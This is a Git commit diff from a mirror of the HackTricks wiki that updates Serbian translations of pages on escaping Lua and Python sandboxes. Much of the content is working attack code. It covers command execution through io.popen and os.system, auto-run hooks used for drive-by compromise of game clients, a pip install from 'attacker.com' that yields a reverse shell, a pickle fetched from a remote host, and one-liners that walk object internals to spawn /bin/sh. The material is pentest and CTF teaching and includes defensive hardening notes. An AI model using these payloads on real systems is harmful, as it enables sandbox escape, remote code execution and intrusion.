maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/windows-hardening/windows-local-privilege-escalation/pr

Browse Source
This commit is contained in:
Translator 2025-09-03 11:38:37 +00:00
parent 0f6683d8b1
commit b61c04eb3f
9 changed files with 345 additions and 1855 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

64
src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md
View File

@ -1,18 +1,18 @@
# Bypass Lua sandboxes (embedded VMs, game clients)
# Zaobilaženje Lua sandboxes (embedded VMs, game clients)
{{#include ../../../banners/hacktricks-training.md}}
Ova stranica prikuplja praktične tehnike za enumeraciju i izbijanje iz Lua "sandboxes" ugrađenih u aplikacije (posebno game clients, plugins, ili in-app scripting engines). Mnogi engine-i izlažu ograničeno Lua okruženje, ali ostavljaju moćne globals dostupnim, što omogućava izvršavanje proizvoljnih komandi ili čak native memory corruption kada su bytecode loaders izloženi.
Ova stranica prikuplja praktične tehnike za enumeraciju i bekstvo iz Lua "sandboxes" ugrađenih u aplikacije (notably game clients, plugins, or in-app scripting engines). Mnogi engine-i izlažu ograničeno Lua okruženje, ali ostavljaju moćne globale dostupne koje omogućavaju proizvoljno izvršavanje komandi ili čak korupciju native memorije kada su izloženi bytecode loaders.
Key ideas:
Ključne ideje:
- Posmatrajte VM kao nepoznato okruženje: enumerišite _G i otkrijte koje opasne primitive su dostupne.
- Kada su stdout/print blokirani, zloupotrebite bilo koji in-VM UI/IPC kanal kao output sink za posmatranje rezultata.
- Ako su io/os izloženi, često imate direktno izvršavanje komandi (io.popen, os.execute).
- Ako su load/loadstring/loadfile izloženi, izvršavanje pažljivo kreiranog Lua bytecode-a može potkopati sigurnost memorije u nekim verzijama (≤5.1 verifikatori se mogu zaobići; 5.2 je uklonio verifier), omogućavajući naprednu eksploataciju.
- Kada su stdout/print blokirani, zloupotrebite bilo koji in-VM UI/IPC kanal kao output sink da posmatrate rezultate.
- Ako je io/os izložen, često imate direktno izvršavanje komandi (io.popen, os.execute).
- Ako su load/loadstring/loadfile izloženi, izvršavanje pažljivo kreiranog Lua bytecode-a može narušiti sigurnost memorije u nekim verzijama (≤5.1 verifikatori su zaobiđivi; 5.2 je uklonio verifier), omogućavajući naprednu eksploataciju.
## Enumerate the sandboxed environment
## Enumerišite sandboxed okruženje
- Dump globalnog okruženja da inventarišete dostupne tables/functions:
- Izdumpajte globalno okruženje da inventarišete dostupne tabele/funkcije:
```lua
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
local function dump_globals(out)
@ -22,7 +22,7 @@ out(tostring(k) .. " = " .. tostring(v))
end
end
```
- Ako print() nije dostupan, preusmeri in-VM kanale. Primer iz MMO housing script VM gde chat izlaz radi samo nakon poziva zvuka; sledeći kod gradi pouzdanu funkciju za ispis:
- Ako print() nije dostupan, iskoristite in-VM kanale. Primer iz MMO housing script VM-a gde chat izlaz radi samo nakon poziva zvuka; sledeći kod pravi pouzdanu izlaznu funkciju:
```lua
-- Build an output channel using in-game primitives
local function ButlerOut(label)
@ -39,11 +39,11 @@ local out = ButlerOut(1)
dump_globals(out)
end
```
Generalizujte ovaj obrazac za vaš target: svaki textbox, toast, logger, ili UI callback koji prihvata stringove može da služi kao stdout za reconnaissance.
Generalizujte ovaj obrazac za vaš cilj: bilo koji textbox, toast, logger ili UI callback koji prihvata stringove može poslužiti kao stdout za reconnaissance.
## Direct command execution if io/os is exposed
## Direct command execution ako su io/os izloženi
Ako sandbox i dalje izlaže standardne biblioteke io ili os, verovatno odmah dobijate command execution:
Ako sandbox i dalje izlaže standardne biblioteke io ili os, verovatno odmah imate command execution:
```lua
-- Windows example
io.popen("calc.exe")
@ -52,30 +52,30 @@ io.popen("calc.exe")
os.execute("/usr/bin/id")
io.popen("/bin/sh -c 'id'")
```
Napomene:
- Izvršavanje se dešava unutar client process; mnogi anti-cheat/antidebug slojevi koji blokiraju external debuggers neće sprečiti in-VM process creation.
Notes:
- Izvršavanje se dešava unutar klijentskog procesa; mnogi anti-cheat/antidebug slojevi koji blokiraju external debuggers neće sprečiti in-VM process creation.
- Takođe proveri: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
## Zero-click triggers via auto-run callbacks
Ako host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads:
Ako host application šalje skripte klijentima i VM izlaže auto-run hooks (npr. OnInit/OnLoad/OnEnter), postavi svoj payload tamo za drive-by compromise čim se skripta učita:
```lua
function OnInit()
io.popen("calc.exe") -- or any command
end
```
Bilo koji ekvivalentni callback (OnLoad, OnEnter, etc.) generalizuje ovu tehniku kada se skripte automatski prenose i izvršavaju na klijentu.
Bilo koji ekvivalentan callback (OnLoad, OnEnter, itd.) generalizuje ovu tehniku kada se skripte automatski prenose i izvršavaju na klijentu.
## Opasne primitive za traženje tokom recon
## Opasni primitivni elementi koje treba tražiti tokom recon
Tokom enumeracije _G, posebno obratite pažnju na:
- io, os: io.popen, os.execute, rad sa fajlovima (file I/O), pristup env varijablama (env access).
- load, loadstring, loadfile, dofile: izvršavaju izvor ili bytecode; omogućavaju učitavanje nepouzdanog bytecode-a.
Tokom _G enumeracije, posebno tražite:
- io, os: io.popen, os.execute, file I/O, pristup env.
- load, loadstring, loadfile, dofile: izvršava source ili bytecode; podržava učitavanje nepouzdanog bytecode-a.
- package, package.loadlib, require: dinamičko učitavanje biblioteka i površina modula.
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo i hooks.
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, i hooks.
- LuaJIT-only: ffi.cdef, ffi.load za direktno pozivanje nativnog koda.
Minimalni primeri upotrebe (ako su dostižni):
Minimalni primeri upotrebe (ako su dostupni):
```lua
-- Execute source/bytecode
local f = load("return 1+1")
@ -90,20 +90,20 @@ print(g())
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
local foo = mylib()
```
## Opcionalna eskalacija: zloupotreba Lua bytecode loaders
## Opcionalna eskalacija: zloupotreba Lua bytecode loadera
Kada su load/loadstring/loadfile dostupni, ali su io/os ograničeni, izvršavanje pažljivo izrađenog Lua bytecode-a može dovesti do otkrivanja memorije i primitiva za korupciju. Ključne činjenice:
- Lua ≤ 5.1 je isporučivao bytecode verifier koji ima poznate bypasses.
- Lua 5.2 je potpuno uklonio verifier (službeni stav: aplikacije treba da odbijaju precompiled chunks), što proširuje površinu napada ako bytecode loading nije zabranjen.
- Tipični tokovi rada: leak pointers via in-VM output, craft bytecode to create type confusions (npr. oko FORLOOP ili drugih opcode-ova), zatim pivot na arbitrary read/write ili native code execution.
Kada su load/loadstring/loadfile dostupni, a io/os ograničeni, izvršavanje pažljivo konstruisanog Lua bytecode-a može dovesti do otkrivanja sadržaja memorije i primitiva za korupciju. Ključne činjenice:
- Lua ≤ 5.1 je dolazio sa bytecode verifier-om koji ima poznate bypasses.
- Lua 5.2 je u potpunosti uklonio verifier (zvanični stav: aplikacije bi trebalo jednostavno da odbace precompiled chunks), čime se proširuje attack surface ako bytecode loading nije zabranjen.
- Tipični workflow-i: leak pointers putem in-VM output-a, konstruisati bytecode za stvaranje type confusions (npr. oko FORLOOP ili drugih opcode-a), zatim pivot na arbitrary read/write ili native code execution.
Ovaj put je specifičan za engine/verziju i zahteva RE. Pogledajte references za dubinske analize, exploitation primitives i primerke gadgetry u igrama.
Ovaj put je specifičan za engine/version i zahteva RE. Pogledajte references za deep dives, exploitation primitives i primere gadgetry u games.
## Beleške za detekciju i ojačavanje (za odbranu)
## Detection and hardening notes (for defenders)
- Na serverskoj strani: odbaciti ili prepisati user scripts; allowlist safe APIs; ukloniti ili bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
- Na klijentskoj strani: pokretati Lua sa minimalnim _ENV, zabraniti bytecode loading, ponovo uvesti strogi bytecode verifier ili provere potpisa, i blokirati kreiranje procesa iz klijentskog procesa.
- Telemetrija: alarmirati pri gameclient → child process creation ubrzo nakon učitavanja skripte; korrelirati sa UI/chat/script događajima.
- Server side: odbaciti ili prepisati user scripts; allowlist safe APIs; strip ili bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
- Client side: pokretati Lua sa minimalnim _ENV-om, zabraniti bytecode loading, ponovo uvesti strogi bytecode verifier ili provere potpisa, i blokirati kreiranje procesa iz procesa klijenta.
- Telemetry: alert na gameclient → child process creation ubrzo nakon učitavanja skripte; korelirati sa UI/chat/script događajima.
## References

190
src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
View File

@ -1,13 +1,12 @@
# Zaobilaženje Python sandboxes
# Bypass Python sandboxes
{{#include ../../../banners/hacktricks-training.md}}
Ovo su neki trikovi za zaobilaženje python sandbox zaštite i izvršavanje proizvoljnih komandi.
Ovo su neki trikovi za zaobilaženje python sandbox zaštita i izvršavanje proizvoljnih komandi.
## Biblioteke za izvršavanje komandi
Prvo što treba da znaš je da li možeš direktno izvršiti code pomoću neke već importovane biblioteke, ili da li možeš import-ovati bilo koju od ovih biblioteka:
Prvo što treba da znate jeste da li možete direktno izvršavati kod pomoću neke već importovane biblioteke, ili da li možete importovati neku od ovih biblioteka:
```python
os.system("ls")
os.popen("ls").read()
@ -40,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Zapamti da _**open**_ i _**read**_ funkcije mogu biti korisne za **čitanje fajlova** unutar python sandbox-a i za **pisanje koda** koji bi mogaoš **izvršiti** da **zaobiđeš** sandbox.
Zapamtite da _**open**_ i _**read**_ funkcije mogu biti korisne za **čitanje fajlova** unutar python sandbox-a i za **pisanje nekog koda** koji biste mogli **izvršiti** da **zaobiđete** sandbox.
> [!CAUTION] > **Python2 input()** function omogućava izvršavanje python code pre nego što se program sruši.
> [!CAUTION] > **Python2 input()** funkcija dozvoljava izvršavanje python koda pre nego što program padne.
Python pokušava da prvo **učita biblioteke iz trenutnog direktorijuma** (sledeća komanda će ispisati odakle python učitava module): `python3 -c 'import sys; print(sys.path)'`
Python pokušava da **prvo učitava biblioteke iz trenutnog direktorijuma** (sledeća komanda će odštampati odakle python učitava module): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## Bypass pickle sandbox with the default installed python packages
## Zaobilaženje pickle sandbox-a pomoću podrazumevano instaliranih python paketa
### Podrazumevani paketi
Možeš pronaći **listu preinstaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Imaj na umu da iz pickle-a možeš naterati python env da **import arbitrary libraries** instalirane u sistemu.\
Na primer, sledeći pickle, kada se učita, is going to import the pip library to use it:
Možete pronaći **listu unapred instaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Imajte na umu da iz pickle-a možete naterati python env da **importuje proizvoljne biblioteke** instalirane u sistemu.\
Na primer, sledeći pickle, kada se učita, će importovati pip biblioteku i iskoristiti je:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -67,32 +66,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Za više informacija o tome kako pickle radi, pogledajte ovo: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
Za više informacija o tome kako pickle radi pogledajte ovo: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip paket
### Pip package
Trik koji je podelio **@isHaacK**
Trik podeljen od strane **@isHaacK**
Ako imate pristup `pip` ili `pip.main()`, možete instalirati proizvoljan paket i dobiti reverse shell pozivom:
Ako imate pristup `pip` ili `pip.main()`, možete instalirati proizvoljan paket i dobiti reverse shell pozivanjem:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Možete preuzeti paket za kreiranje reverse shell ovde. Imajte na umu da pre upotrebe treba da ga **dekompresujete, izmenite `setup.py` i stavite vašu IP za reverse shell**:
Možete preuzeti paket za kreiranje reverse shell-a ovde. Imajte na umu da pre upotrebe treba da ga **dekompresujete, izmenite `setup.py`, i unesete vašu IP adresu za reverse shell**:
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> Ovaj paket se zove `Reverse`. Međutim, on je posebno kreiran tako da kada izađete iz reverse shell ostatak instalacije zakaže, tako da **nećete ostaviti nijedan dodatni python package instaliran na serveru** kada odete.
> Ovaj paket se zove `Reverse`. Međutim, on je posebno napravljen tako da kada izađete iz reverse shell-a ostatak instalacije neće uspeti, tako da **nećete ostaviti nikakav dodatni python paket instaliran na serveru** kada odete.
## Eval-ing python code
> [!WARNING]
> Imajte na umu da exec dozvoljava višelinijske stringove i ";", ali eval ne (proverite walrus operator)
> Imajte na umu da exec dozvoljava multiline strings i ";", ali eval ne (pogledajte walrus operator)
Ako su određeni karakteri zabranjeni, možete koristiti **hex/octal/B64** reprezentaciju da **zaobiđete** ograničenje:
Ako su određeni karakteri zabranjeni, možete koristiti **hex/octal/B64** reprezentaciju da izvršite **bypass** ograničenja:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -127,9 +126,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
Takođe pogledaj stvarni slučaj bekstva iz sandboxovanog evaluatora u PDF generatorima:
Takođe pogledajte realan primer sandboxed evaluator escape-a u PDF generatorima:
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Zloupotrebljava rl_safe_eval da dođe do function.__globals__ i os.system kroz evaluirane atribute (na primer, boju fonta) i vraća validnu vrednost da bi renderovanje ostalo stabilno.
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Iskorišćava rl_safe_eval da dosegne function.__globals__ i os.system kroz evaluirane atribute (na primer boju fonta) i vraća validnu vrednost kako bi renderovanje ostalo stabilno.
{{#ref}}
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -144,9 +143,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Zaobilaženje zaštita kroz enkodiranja (UTF-7)
## Zaobilaženje zaštita pomoću enkodiranja (UTF-7)
U [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se koristi za učitavanje i izvršavanje proizvoljnog python koda unutar navodnog sandbox-a:
U [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se koristi za učitavanje i izvršavanje proizvoljnog python koda unutar naizgled sandbox okruženja:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -157,13 +156,13 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Moguće je takođe zaobići to koristeći druga kodiranja, npr. `raw_unicode_escape` i `unicode_escape`.
Takođe je moguće zaobići to koristeći druga kodiranja, npr. `raw_unicode_escape` i `unicode_escape`.
## Izvršavanje u Pythonu bez poziva
Ako ste unutar python jail-a koji vam **ne dozvoljava da vršite pozive**, još uvek postoje načini da **izvršite proizvoljne funkcije, kod** i **komande**.
Ako se nalazite unutar python jail-a koji **ne dozvoljava da pravite pozive**, i dalje postoje načini da **izvršite proizvoljne funkcije, kod** i **komande**.
### RCE pomoću [decorators](https://docs.python.org/3/glossary.html#term-decorator)
### RCE koristeći [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -185,13 +184,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE kreiranje objekata i preopterećenje
### RCE: kreiranje objekata i preopterećenje
Ako možete **deklarisati klasu** i **napraviti objekat** te klase, mogli biste **pisati/prepisivati različite metode** koje mogu biti **okidane** **bez** **potrebe da ih pozivate direktno**.
Ako možete **deklarisati klasu** i **napraviti objekat** te klase, možete **definisati ili prepisati različite metode** koje se mogu **pokrenuti** **bez** **potrebe da ih direktno pozivate**.
#### RCE sa prilagođenim klasama
Možete izmeniti neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) da bi one **izvele proizvoljni kod** kada su **okinute**, bez direktnog poziva.
Možete izmeniti neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) da bi one **izvele proizvoljan kod** kada se **pokrenu** bez direktnog pozivanja.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -241,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
#### Kreiranje objekata sa [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
#### Kreiranje objekata pomoću [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
Ključna stvar koju metaclasses omogućavaju je da **napravimo instancu klase, bez direktnog pozivanja konstruktora**, kreiranjem nove klase koja koristi ciljnu klasu kao metaklasu.
Ključna stvar koju metaclasses omogućavaju jeste da **napravimo instancu klase, bez direktnog pozivanja konstruktora** kreiranjem nove klase koja ima ciljnu klasu kao metaclass.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -258,9 +257,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### Kreiranje objekata pomoću exception-a
#### Kreiranje objekata pomoću exceptions
Kada se **exception** pokrene, objekat **Exception** se **kreira** bez potrebe da direktno pozivate konstruktor (trik od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
Kada se **exception pokrene**, objekat klase **Exception** se **kreira** bez potrebe da direktno pozivate konstruktor (trik od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -302,7 +301,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### Pročitaj fajl pomoću builtins help & license
### Pročitaj fajl sa builtins help-om & licencom
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -316,18 +315,17 @@ pass
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
Ako možete pristupiti objektu **`__builtins__`** možete importovati biblioteke (primetite da ovde takođe možete koristiti druge string reprezentacije prikazane u poslednjem odeljku):
Ako možete da pristupite objektu **`__builtins__`**, možete uvesti biblioteke (imajte na umu da ovde takođe možete koristiti druge string reprezentacije prikazane u poslednjem odeljku):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### Bez Builtins
Kada nemaš `__builtins__`, nećeš moći ništa da importuješ niti čak da čitaš ili pišeš fajlove jer **sve globalne funkcije** (poput `open`, `import`, `print`...) **nisu učitane**.\
Kada nemaš `__builtins__` nećeš moći da importuješ ništa niti čak da čitaš ili pišeš fajlove jer **sve globalne funkcije** (kao `open`, `import`, `print`...) **nisu učitane**.\
Međutim, **po defaultu python učitava mnogo modula u memoriju**. Ti moduli mogu delovati bezazleno, ali neki od njih **takođe importuju opasne** funkcionalnosti unutar sebe koje se mogu iskoristiti da se dobije čak **arbitrary code execution**.
Međutim, **podrazumevano python učitava veliki broj modula u memoriju**. Ti moduli mogu delovati benigno, ali neki od njih takođe sadrže opasne funkcionalnosti kojima se može pristupiti i steći čak **arbitrary code execution**.
U sledećim primerima možete videti kako **iskoristiti** neke od ovih "**benign**" modula koji su učitani da biste **pristupili** **opasnim** **funkcionalnostima** unutar njih.
U narednim primerima možeš videti kako da **zloupotrebiš** neke od ovih "**bezazlenih**" modula koji su učitani kako bi se **pristupilo** **opasnim** **funkcionalnostima** unutar njih.
**Python2**
```python
@ -369,7 +367,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) da pronađete desetine/**stotine** **mesta** gde možete naći **builtins**.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) da pronađete desetine/**stotine** **mesta** na kojima možete pronaći **builtins**.
#### Python2 and Python3
```python
@ -377,7 +375,7 @@ get_flag.__globals__['__builtins__']
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```
### Builtins payloads
### Ugrađeni payloads
```python
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
@ -385,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Globals i locals
## Globals and locals
Provera **`globals`** i **`locals`** je dobar način da saznate čemu možete pristupiti.
Proveravanje **`globals`** i **`locals`** je dobar način da saznate čemu možete pristupiti.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -415,11 +413,11 @@ class_obj.__init__.__globals__
## Otkrivanje proizvoljnog izvršavanja
Ovde želim da objasnim kako lako otkriti **opasnije učitane funkcionalnosti** i predložim pouzdanije exploits.
Ovde želim da objasnim kako lako otkriti **više opasnih funkcionalnosti koje su učitane** i predložim pouzdanije exploits.
#### Pristup subclasses uz bypasses
#### Pristupanje subclasses with bypasses
Jedan od najosetljivijih delova ove tehnike je mogućnost **pristupa base subclasses**. U prethodnim primerima ovo je urađeno koristeći `''.__class__.__base__.__subclasses__()` ali postoje **drugi mogući načini**:
Jedan od najosetljivijih delova ove tehnike je biti u mogućnosti **access the base subclasses**. U prethodnim primerima to je urađeno koristeći `''.__class__.__base__.__subclasses__()` ali postoje **drugi mogući načini**:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -447,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### Pronalaženje opasnih učitanih biblioteka
### Pronalazak opasnih učitanih biblioteka
Na primer, znajući da je uz biblioteku **`sys`** moguće **import arbitrary libraries**, možete pretražiti sve **učitane module koji u sebi importuju `sys`**:
Na primer, znajući da je uz biblioteku **`sys`** moguće **import arbitrary libraries**, možete pretražiti sve **učitane module koji su uvezli sys unutar sebe**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
Ima ih mnogo, a **potreban nam je samo jedan** da izvrši komande:
Ima ih mnogo, a **treba nam samo jedan** da izvršava komande:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Možemo isto to uraditi sa **drugim bibliotekama** za koje znamo da se mogu koristiti za **izvršavanje komandi**:
Možemo isto uraditi sa **drugim bibliotekama** za koje znamo da se mogu koristiti za **izvršavanje komandi**:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -493,7 +491,7 @@ Možemo isto to uraditi sa **drugim bibliotekama** za koje znamo da se mogu kori
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Štaviše, mogli bismo čak i да pretražimo koji modules učitavaju malicious libraries:
Štaviše, možemo čak i pretražiti koji moduli učitavaju zlonamerne biblioteke:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -512,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Štaviše, ako mislite da **other libraries** mogu да **invoke functions to execute commands**, možemo такође да **filter by functions names** унутар могућих библиотеka:
Pored toga, ako mislite da **other libraries** mogu да **invoke functions to execute commands**, можемо такође **filter by functions names** унутар могућих libraries:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -548,7 +546,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## Rekurzivna pretraga Builtins, Globals...
> [!WARNING]
> Ovo je zaista **sjajno**. Ako tražite **objekat kao globals, builtins, open ili bilo šta drugo**, samo koristite ovu skriptu da **rekurzivno pronađete mesta gde možete naći taj objekat.**
> Ovo je jednostavno **sjajno**. Ako **tražite objekat kao globals, builtins, open ili bilo šta drugo** samo koristite ovaj skript da **rekurzivno pronađete mesta gde se taj objekat može pronaći.**
```python
import os, sys # Import these to find more gadgets
@ -664,7 +662,7 @@ print(SEARCH_FOR)
if __name__ == "__main__":
main()
```
You can check the output of this script on this page:
Možete proveriti izlaz ovog skripta na ovoj stranici:
{{#ref}}
@ -673,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
## Python Format String
Ako **pošaljete** **string** u python koji će biti **formatiran**, možete koristiti `{}` da pristupite **python internal information.** Možete koristiti prethodne primere da pristupite globals ili builtins.
Ako **pošaljete** **string** u python koji će biti **formatiran**, možete koristiti `{}` da pristupite **python internim informacijama.** Možete koristiti prethodne primere da, na primer, pristupite globals ili builtins.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -693,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
